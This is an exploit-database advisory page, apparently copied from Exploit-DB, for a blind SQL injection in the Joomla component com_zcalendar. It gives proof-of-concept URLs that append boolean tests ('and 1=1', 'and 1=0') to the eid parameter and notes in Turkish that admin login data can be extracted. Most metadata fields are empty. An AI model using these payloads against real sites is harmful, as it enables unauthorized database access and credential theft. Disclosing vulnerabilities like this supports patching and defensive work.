Joomla Component com_zcalendar Blind SQL-injection Vulnerability

vendor:

com_zcalendar

by:

Fl0riX

N/A

CVSS

N/A

Blind SQL Injection

CWE

Product Name: com_zcalendar

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

N/A

Joomla Component com_zcalendar Blind SQL-injection Vulnerability

Admin login bilgileri alinabilir. Demo Vuln. : TRUE(+) http://server/index.php?option=com_zcalendar&task=view&vmode=e&eid=236 and 1=1 FALSE(-) http://server/index.php?option=com_zcalendar&task=view&vmode=e&eid=236 and 1=0

Mitigation:

Zararli karakterler filtrelenmelidir.

Source

Exploit-DB raw data:

<------------------- header data start ------------------- >

#############################################################
#       Joomla Component com_zcalendar Blind SQL-injection Vulnerability                       #
#############################################################

# author        : Fl0riX

# Name        : com_zcalendar

# Bug Type       : Blind SQL Injection

# Infection      : Admin login bilgileri al&#65533;nabilir.

# Demo Vuln.     :
TRUE(+)
&#65533; http://server/index.php?option=com_zcalendar&task=view&vmode=e&eid=236 and 1=1
FALSE(-)
&#65533; http://server/index.php?option=com_zcalendar&task=view&vmode=e&eid=236 and 1=0

# Bug Fix Advice : Zararl&#65533; karakterler filtrelenmelidir.

#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >

path/index.php?option=com_zcalendar&task=view&vmode=e&eid=[Blind]

< -- bug code end of -- >